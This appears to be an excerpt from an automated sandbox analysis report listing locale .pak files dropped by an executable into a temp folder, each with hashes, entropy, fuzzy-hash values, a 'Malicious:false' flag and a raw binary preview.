                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):456789
                                                                                                                                                                                                                                                Entropy (8bit):5.643595706627357
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:SGAK2lkJ2gSSSfLOAYkky1MV5QgsZfGRAxY62R9PSam7EEOEeLvx5gR4RStG2r2/:pAKWkJ2gSsAkV5QgsiR4747vx5VL/
                                                                                                                                                                                                                                                MD5:F5E1CA8A14C75C6F62D4BFF34E27DDB5
                                                                                                                                                                                                                                                SHA1:7ABA6BFF18BDC4C477DA603184D74F054805C78F
                                                                                                                                                                                                                                                SHA-256:C0043D9FA0B841DA00EC1672D60015804D882D4765A62B6483F2294C3C5B83E0
                                                                                                                                                                                                                                                SHA-512:1050F96F4F79F681B3EAF4012EC0E287C5067B75BA7A2CBE89D9B380C07698099B156A0EB2CBC5B8AA336D2DAA98E457B089935B534C4D6636987E7E7E32B169
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........6...h.....i.....j.....k.....l.....n.....o.....p.....r.#...s.4...t.=...v.R...w._...y.e...z.t...|.z...}.....................................................................................2.....G.....W.....q.....................................................9.....X.....d.....}...............................................0.....5.....;.....N.....^.....s.....................................................-.....G.....d.....z.......................#.....?.....H.....P.....W.....].....l...............................................(.....Q.....x...........................................................;.....`.....u.....|...............................................1.......................b.....w...........................................................K.....l.......................5.....L.....T....._.....w............... .....".....%.....(.....*.8...+.;...,.Y.....j.../.....0.....1.....3.....4.....5.....6.P...7.k...8.....9.....;.....<.....=.....>.....?.....@.....A.0...C.U...D.b.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\id.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):373937
                                                                                                                                                                                                                                                Entropy (8bit):5.37852966615304
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:Fl9jv1p49ahfjDVnjHFsRmP28Wvr5PdhpvtEDSVsEaOq:FlLpblVnjHFCm+8Sr5Pdhzq
                                                                                                                                                                                                                                                MD5:7B39423028DA71B4E776429BB4F27122
                                                                                                                                                                                                                                                SHA1:CB052AB5F734D7A74A160594B25F8A71669C38F2
                                                                                                                                                                                                                                                SHA-256:3D95C5819F57A0AD06A118A07E0B5D821032EDCF622DF9B10A09DA9AA974885F
                                                                                                                                                                                                                                                SHA-512:E40679B01AB14B6C8DFDCE588F3B47BCAFF55DBB1539B343F611B3FCBD1D0E7D8C347A2B928215A629F97E5F68D19C51AF775EC27C6F906CAC131BEAE646CE1A
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........@...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.................................................................................................5.....=.....T.....[.....e.......................................................................,.....J.....[.....h.............................................................................;.....?.....B.....G.....[.....j.....~.................................................................*.....F.....L.....a.........................................6.....H.....Q.....\.....r.........................................................................................!.....'.....3.....a.........................................C.....M.....Y.....`.....h.....o.....v.........................................>.....Q.....V.....\.....i............... .....".....%.....(.....*.....+.....,.#.....3.../.B...0.F...1.z...3.....4.....5.....6.....7.....8.....9.'...;.5...<.>...=.K...>.`...?.h...@.y...A...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\it.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):414412
                                                                                                                                                                                                                                                Entropy (8bit):5.287149423624235
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:8cPuDjrpxctogSrqRrhsO11RT9TeexAGTL6+q2WKLV9fLwY+25OM388HrmwGWNBI:8cmDZREZJy8KL1LjAS5ZzoC
                                                                                                                                                                                                                                                MD5:D58A43068BF847C7CD6284742C2F7823
                                                                                                                                                                                                                                                SHA1:497389765143FAC48AF2BD7F9A309BFE65F59ED9
                                                                                                                                                                                                                                                SHA-256:265D8B1BC479AD64FA7A41424C446139205AF8029A2469D558813EDD10727F9C
                                                                                                                                                                                                                                                SHA-512:547A1581DDA28C5C1A0231C736070D8A7B53A085A0CE643A4A1510C63A2D4670FF2632E9823CD25AE2C7CDC87FA65883E0A193853890D4415B38056CB730AB54
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........S...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................1.....D.....S.....l.....w.................................................................?.....F.....V.....d.....p.....}...............................................!.....7.....k.............................................................................O.....t.......................................................................>.....L.....Y.....v...........................................................3.....H.....[.....s.................................................................*.....u.............................,.....R.....Z.....n.....w...............................................3.....N............................................. .....".....%.....(.(...*.D...+.G...,.e.....v.../.....0.....1.....3.....4.....5.....6.}...7.....8.....9.....;.....<.....=.....>.....?.....@./...A.]...C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ja.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):505292
                                                                                                                                                                                                                                                Entropy (8bit):5.701779406023226
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:rO2YZ2QUgbjicTver049pUVOT6z4Z72hA/Na4oQPkwaIAOenOIUNH7bbeCcX5RWX:rOpZ2eH/IzSVKo4Z728owPS58HRxVX
                                                                                                                                                                                                                                                MD5:D10D536BCD183030BA07FF5C61BF5E3A
                                                                                                                                                                                                                                                SHA1:44DD78DBA9F098AC61222EB9647D111AD1608960
                                                                                                                                                                                                                                                SHA-256:2A3D3ABC9F80BAD52BD6DA5769901E7B9E9F052B6A58A7CC95CE16C86A3AA85A
                                                                                                                                                                                                                                                SHA-512:C67AEDE9DED1100093253E350D6137AB8B2A852BD84B6C82BA1853F792E053CECD0EA0519319498AED5759BEDC66D75516A4F2F7A07696A0CEF24D5F34EF9DD2
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........y.h.....i.....j.....k.....l.....m.....o.....p.....v.....w.....y.....z.....|.....}.0.....8.....=.....E.....P.....X.....g.....l.....t.....{...............................................$.....*.....<.....d.....y...................................).....S.....t...............................................'.....H.....c.....i.....x.............................5.....;.....M.....k...............................................E.....u.....................................................+.....R.....^.............................Q.....~...............................................#.....8.....d...........................................................V...........,.....2...................................5.....>.....J.....P.....Y.....t.............................8............................................. .....".....%.I...(.....*.....+.....,.........../.....0.#...1.h...3.....4.....5.....6.....7.4...8.R...9.p...;.....<.....=.....>.....?.....@.....A.E...C.l...D.....E.....F.....G...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\kn.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1012272
                                                                                                                                                                                                                                                Entropy (8bit):4.2289205973296395
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:VxaK34cS7yFcH4dr/4g7M5iVUZ+xw+UFV:jf7/K5uUb
                                                                                                                                                                                                                                                MD5:C548A5F1FB5753408E44F3F011588594
                                                                                                                                                                                                                                                SHA1:E064AB403972036DAD1B35ABE9794E95DBE4CC00
                                                                                                                                                                                                                                                SHA-256:890F50A57B862F482D367713201E1E559AC778FC3A36322D1DFBBEF2535DD9CB
                                                                                                                                                                                                                                                SHA-512:6975E4BB1A90E0906CF6266F79DA6CC4AE32F72A6141943BCFCF9B33F791E9751A9AAFDE9CA537F33F6BA8E4D697125FBC2EC4FFD3BC35851F406567DAE7E631
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....=.................=.....}......................./.....A.............................:.......................&.....d.................-.....U.................6.....N.....j.................L.............................4.....C.....F.....d.................4.................e.........................................P.....o...............................................J...........,.....H.....v.................(.....+.....e.......................G.....................................................(...........V...................................H.....`.....................................................c.................e.......................0.....k......... .....".....%._...(.....*.....+.....,.......4.../.l...0.....1.....3.7...4.....5.....6.U...7.....8.....9.....;.O...<.l...=.....>.....?.....@.....A.....C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ko.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):425545
                                                                                                                                                                                                                                                Entropy (8bit):6.081959799252044
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:4Y3l9B6CI1zt8OhrJRFJCqM5T718I8Mtmq7hUoBAA:aZJo5D8GAA
                                                                                                                                                                                                                                                MD5:B4FBFF56E4974A7283D564C6FC0365BE
                                                                                                                                                                                                                                                SHA1:DE68BD097DEF66D63D5FF04046F3357B7B0E23AC
                                                                                                                                                                                                                                                SHA-256:8C9ACDE13EDCD40D5B6EB38AD179CC27AA3677252A9CD47990EBA38AD42833E5
                                                                                                                                                                                                                                                SHA-512:0698AA058561BB5A8FE565BB0BEC21548E246DBB9D38F6010E9B0AD9DE0F59BCE9E98841033AD3122A163DD321EE4B11ED191277CDCB8E0B455D725593A88AA5
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.z...i.....j.....k.....l.....m.....o.....p.....r.....s.....t.....y.....z.....|.....}.......$.....).....1.....<.....D.....S.....X....._.....f.....h.....m...........................................................e.....u.....w.....{...............................................'.....F.....S.....f.....z...............................................$.....*.....3.....F.....Y....._.....b.....h.........................................8.....O.....U.....].....d.....m.....z................................... .....-.....W.....t.........................................,...../.....<.....L.....Y.....r.....................................................".......................s.................................................................=.....T...................................!.....'.....=.....O.....\... ._...".i...%.....(.....*.....+.....,.+.....A.../.^...0.j...1.....3.....4.....5.....6.=...7.S...8.j...9.z...;.....<.....=.....>.....?.....@.....A.....C.6...D.F...E.g...F.~...G...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\lt.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):457220
                                                                                                                                                                                                                                                Entropy (8bit):5.634955727013476
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:Ca5OlSk7unX4nkokvgneIVUoCb1DD7U5R3zv9dFaL8tx9e2lJ2I96S2:Ca5Olrpgme2UoC9c59zv9fx9eoP6S2
                                                                                                                                                                                                                                                MD5:980C27FD74CC3560B296FE8E7C77D51F
                                                                                                                                                                                                                                                SHA1:F581EFA1B15261F654588E53E709A2692D8BB8A3
                                                                                                                                                                                                                                                SHA-256:41E0F3619CDA3B00ABBBF07B9CD64EC7E4785ED4C8A784C928E582C3B6B8B7DB
                                                                                                                                                                                                                                                SHA-512:51196F6F633667E849EF20532D57EC81C5F63BAB46555CEA8FAB2963A078ACDFA84843EDED85C3B30F49EF3CEB8BE9E4EF8237E214EF9ECFF6373A84D395B407
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........U...h.....i.....j.)...k.8...l.C...n.K...o.P...p.]...r.c...s.t...t.}...v.....w.....y.....z.....|.....}.........................................................................8.....F.....S.....g.....r.....................................................5.....T.....m.....v...............................................!.....6.....=.....F.....S.....a.....u.....................................................&.....<.....Z.....w.............................5.....>.....F.....M.....X.....j.....................................................-.....T.....m.....{.................................................................H.....O.....R.....S.....].....h.....o.....y.................).....x.............................G.....X.....v...............................................B.....d...............................................)... .>...".N...%.m...(.....*.....+.....,.........../.!...0.$...1.U...3.f...4.....5.....6.....7. ...8.@...9.T...;.b...<.s...=.....>.....?.....@.....A.....C.:.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\lv.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):455871
                                                                                                                                                                                                                                                Entropy (8bit):5.635474464056208
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:GOQDGtu4e+D8NHtVFHTPq7K4vHo4q3sb3755ZanXDEG9Aarl4zxmEA5QXls14:GOQUZ2Gu4vTqw75KEGGmEs14
                                                                                                                                                                                                                                                MD5:E4F7D9E385CB525E762ECE1AA243E818
                                                                                                                                                                                                                                                SHA1:689D784379BAC189742B74CD8700C687FEEEDED1
                                                                                                                                                                                                                                                SHA-256:523D141E59095DA71A41C14AEC8FE9EE667AE4B868E0477A46DD18A80B2007EF
                                                                                                                                                                                                                                                SHA-512:E4796134048CD12056D746F6B8F76D9EA743C61FEE5993167F607959F11FD3B496429C3E61ED5464551FD1931DE4878AB06F23A3788EE34BB56F53DB25BCB6DF
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....O.....b.....u.....................................................!.....%.....M.....].....s.....z...............................................!.....2.....8.....>.....Q.....e.....{...........................................................%.....7.....I.....g.....}...........................................................3.....7.....P.........................................+.....<.....O.....d.....v...........................................................".....#.....-.....8.....@.....G.....Y.................-.....8...................................%.....,.....;.....>.....I....._.............................#.....T.....i.....p.....y..................... .....".....%.....(.....*.....+.1...,.O.....r.../.....0.....1.....3.....4.....5.!...6.\...7.|...8.....9.....<.....=.....>.....?.....@.....A.9...C.X...D.e.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ml.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1056673
                                                                                                                                                                                                                                                Entropy (8bit):4.264965642462621
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:AYtrLnsoR47/R7nUwmoMmWDcZubSA/d+8di3ethK5d/7dxOt3ab:lt0oNwMi3eG5d/7Ot3c
                                                                                                                                                                                                                                                MD5:8B38C65FC30210C7AF9B6FA0424266F4
                                                                                                                                                                                                                                                SHA1:116413710FFCF94FBFA38CB97A47731E43A306F5
                                                                                                                                                                                                                                                SHA-256:E8DF9A74417C5839C531D7CCAB63884A80AFB731CC62CBBB3FD141779086AC7D
                                                                                                                                                                                                                                                SHA-512:0FD349C644AC1A2E7ED0247E40900D3A9957F5BEF1351B872710D02687C934A8E63D3A7585E91F7DF78054AEFF8F7ABD8C93A94FCD20C799779A64278BAB2097
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7.................".....b.....}.......................N...........3.....5.....9.....a.......................M.....{.................@.....n...........!.....e.............................'.......................C.....}.............................H.................=.................P.....~.........................................v.................I.....j.........................................b...................................q.......................b.....i.....l.....n.............................1...........q.....'.....E...........N...........(.....`...................................;.............................Y.....4.............................;.....k... .....".....%.n...(.....*.....+.....,.M........./.....0.....1.}...3.....4.....5.>...6.....7.....8.....9.....;.....<.8...=.X...>.....?.....@.....A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\mr.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):863911
                                                                                                                                                                                                                                                Entropy (8bit):4.295071040310227
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:OVDue+/Ti/eFcDX6WRAWXXspvidz0F5MU9G3GRe3RQR3K5/knxi4nou4bmHwIZus:eueAi2FZW2bo26lp70Kte5zGpGiBs
                                                                                                                                                                                                                                                MD5:C0EF1866167D926FB351E9F9BF13F067
                                                                                                                                                                                                                                                SHA1:6092D04EF3CE62BE44C29DA5D0D3A04985E2BC04
                                                                                                                                                                                                                                                SHA-256:88DF231CF2E506DB3453F90A797194662A5F85E23BBAC2ED3169D91A145D2091
                                                                                                                                                                                                                                                SHA-512:9E2B90F3AC1AE5744C22C2442FBCD86A8496AFC2C58F6CA060D6DBB08AF6F7411EF910A7C8CA5AEDEE99B5443D4DFF709C7935E8322CB32F8B071EE59CAEE733
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.#...t.,...v.A...w.N...y.T...z.c...|.i...}.{.......................................................................9.....[.....}...................................!...................................).....\.............................?.......................&.....E.....a.....w.......................[...............................................4.....^.......................L...................................&.....2.....U.....n.......................i.....................................................;.....X.........................................:.....m.....t.....w.....y.........................................7...................................-.....F.....f.....o.............................".....v.................O.............................?.....t......... .....".....%.,...(.b...*.....+.....,.........../.?...0.L...1.....3.....4.....5.P...6.....7.....8.:...9.b...;.....<.....=.....>.....?.....@.I...A.}...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ms.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):390303
                                                                                                                                                                                                                                                Entropy (8bit):5.258177538585681
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:zCsFFfyrvxoQuXkulRopY/5BI8T5sHAVHMM/k3y:tQxoNlR6K5v5vVsMZ
                                                                                                                                                                                                                                                MD5:9B3E2F3C49897228D51A324AB625EB45
                                                                                                                                                                                                                                                SHA1:8F3DAEC46E9A99C3B33E3D0E56C03402CCC52B9D
                                                                                                                                                                                                                                                SHA-256:61A3DAAE72558662851B49175C402E9FE6FD1B279E7B9028E49506D9444855C5
                                                                                                                                                                                                                                                SHA-512:409681829A861CD4E53069D54C80315E0C8B97E5DB4CD74985D06238BE434A0F0C387392E3F80916164898AF247D17E8747C6538F08C0EF1C5E92A7D1B14F539
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........c...h.(...i.0...j.<...k.K...l.V...n.^...o.c...p.p...r.v...s.....t.....v.....w.....y.....z.....|.....}................................................................... .....J.....].....q.................................................................<.....R.....r.....{.......................................................................+.....;.....J.....y.............................................................................6.....S.....w.............................................................................:.....S....._.................................................................0.....I.....`.....s.....z.....}.....~.....................................................M.....T.................................................................2.....N.....f.....................................................,.....:... .=...".I...%.u...(.....*.....+.....,.........../.....0.....1.....3.;...4.Z...5.m...6.....7.....8.....9.....;.....<.....=.....>.:...?.B...@.W...A...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\nb.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):383011
                                                                                                                                                                                                                                                Entropy (8bit):5.424530593988954
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:rmRAsByIhGvbSqOp7f21zg2mKP7s4Uzwn5el4nYHOp1D:rmRGxvbSqOp7f21vs4kM5el4Jp1D
                                                                                                                                                                                                                                                MD5:AF0FD9179417BA1D7FCCA3CC5BEE1532
                                                                                                                                                                                                                                                SHA1:F746077BBF6A73C6DE272D5855D4F1CA5C3AF086
                                                                                                                                                                                                                                                SHA-256:E900F6D0DD9D5A05B5297618F1FE1600C189313DA931A9CB390EE42383EB070F
                                                                                                                                                                                                                                                SHA-512:C94791D6B84200B302073B09357ABD2A1D7576B068BAE01DCCDA7BC154A6487145C83C9133848CCF4CB9E6DC6C5A9D4BE9D818E5A0C8F440A4E04AE8EABD4A29
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........S...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....>.....M.....`.....h.....r.....................................................$.....<.....A.....P.....a.....h.....t...........................................................).....\.....o.....v.....{...........................................................).....A.....Z.....e.....i.....q.....x.....~...........................................................5.....X.....n.....w.........................................................................................!.....).....4.....;.....F.....v.......................>.....X.....p...........................................................&.....?.....W................................................... .....".....%. ...(.@...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.L...7.c...8.....9.....;.....<.....=.....>.....?.....@.....A.....C.".

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\nl.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):395064
                                                                                                                                                                                                                                                Entropy (8bit):5.365550895872654
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:9V01rV7gSsX5SEHDpaQe3D+qnRVd5qYx1Gp7KhaPW:96NFgSsX5S1V7d5qYx1Gp7KcPW
                                                                                                                                                                                                                                                MD5:181D2A0ECE4B67281D9D2323E9B9824D
                                                                                                                                                                                                                                                SHA1:E8BDC53757E96C12F3CD256C7812532DD524A0EA
                                                                                                                                                                                                                                                SHA-256:6629E68C457806621ED23AA53B3675336C3E643F911F8485118A412EF9ED14CE
                                                                                                                                                                                                                                                SHA-512:10D8CC9411CA475C9B659A2CC88D365E811217D957C82D9C144D94843BC7C7A254EE2451A6F485E92385A660FA01577CFFA0D64B6E9E658A87BEF8FCCBBEAF7E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........E...h.....i.....j.....k.....l.#...n.+...o.0...p.=...r.C...s.T...t.]...v.r...w.....y.....z.....|.....}...............................................................................$.....4.....E.....N.....W.....r.....z.....................................................'.....7.....I.....V.....c...........................................................!.....`.....u.....z...........................................................+.....G.....f.......................................................................9.....E.....].....v.....................................................2.....F.....Y.....t.................................................................'.....a...................................<.....I.....Y.....a.....j.....n.....r...................................".....O.....d.....m.....x..................... .....".....%.....(.....*.....+.....,.!.....2.../.I...0.S...1.....3.....4.....5.....6.....7.....8.;...9.J...;.Z...<.h...=.v...>.....?.....@.....A.....C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\pl.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):439920
                                                                                                                                                                                                                                                Entropy (8bit):5.766175831058526
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:f2jujSo9/D+Xgv3iWGb1vPiCUdhUo3Ymhz1QhjAB5cUE447e:Sc3N1Qhw5me
                                                                                                                                                                                                                                                MD5:18D49D5376237BB8A25413B55751A833
                                                                                                                                                                                                                                                SHA1:0B47A7381DE61742AC2184850822C5FA2AFA559E
                                                                                                                                                                                                                                                SHA-256:1729AA5C8A7E24A0DB98FEBCC91DF8B7B5C16F9B6BB13A2B0795038F2A14B981
                                                                                                                                                                                                                                                SHA-512:45344A533CC35C8CE05CF29B11DA6C0F97D8854DAE46CF45EF7D090558EF95C3BD5FDC284D9A7809F0B2BF30985002BE2AA6A4749C0D9AE9BDFF4AD13DE4E570
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........T...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................6.....E.....S.....h.....q...........................................................3.....M.....S.....g.....|.................................................................).....;.....n.............................................................................2.....N.....i.....{.................................................................+.....6.....V.....c...........................................................(.....7.....M.....d.....{...........................................................T.............................,.....i.....r.....................................................7.....V.....r............................................. .....".)...%.K...(.c...*.....+.....,.........../.....0.....1.....3.,...4.K...5.i...6.....7.....8.....9.....;.....<.....=.....>.....?.$...@.7...A.{...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\pt-BR.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):415447
                                                                                                                                                                                                                                                Entropy (8bit):5.426006792591415
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:Bm1HqF4Znh9GzBtNBXBLd1OUDcpryHF55NJND0bsRzlb2:UHrnhMzX5PJB4sRxC
                                                                                                                                                                                                                                                MD5:0D9DEA9E24645C2A3F58E4511C564A36
                                                                                                                                                                                                                                                SHA1:DCD2620A1935C667737EEA46CA7BB2BDCB31F3A6
                                                                                                                                                                                                                                                SHA-256:CA7B880391FCD319E976FCC9B5780EA71DE655492C4A52448C51AB2170EEEF3B
                                                                                                                                                                                                                                                SHA-512:8FCF871F8BE7727E2368DF74C05CA927C5F0BC3484C4934F83C0ABC98ECAF774AD7ABA56E1BF17C92B1076C0B8EB9C076CC949CD5427EFCADE9DDF14F6B56BC5
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7....._.....q.....................................................#.....%.....).....T.....c.....|...................................................../.....F.....P.....X.....h.....y...........................................................%.....:.....H.....Y.....r.................................................................+.....5.....F.....~...............................................).....;.....S.....V.....g.....y.............................................................................=.....y............................. .....H.....R.....i.....p.....z...............................................3.....f....................................... .....".....%.....(.....*.(...+.+...,.I.....Z.../.n...0.w...1.....3.....4.....5.....6.-...7.A...8.Y...9.l...;.|...<.....=.....>.....?.....@.....A.....C.!...D.+.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\pt-PT.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):416977
                                                                                                                                                                                                                                                Entropy (8bit):5.401132911995885
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:isWkrPyGJeOMqieJVJJxhlOlxLu3ov5xKqSR0B:X3PBxj8zv5xKqSRW
                                                                                                                                                                                                                                                MD5:6A7232F316358D8376A1667426782796
                                                                                                                                                                                                                                                SHA1:8B70FE0F3AB2D73428F19ECD376C5DEBA4A0BB6C
                                                                                                                                                                                                                                                SHA-256:6A526CD5268B80DF24104A7F40F55E4F1068185FEBBBB5876BA2CB7F78410F84
                                                                                                                                                                                                                                                SHA-512:40D24B3D01E20AE150083B00BB6E10BCA81737C48219BCE22FA88FAAAD85BDC8C56AC9B1EB01854173B0ED792E34BDFBAC26D3605B6A35C14CF2824C000D0DA1
                                                                                                                                                                                                                                                Malicious:false
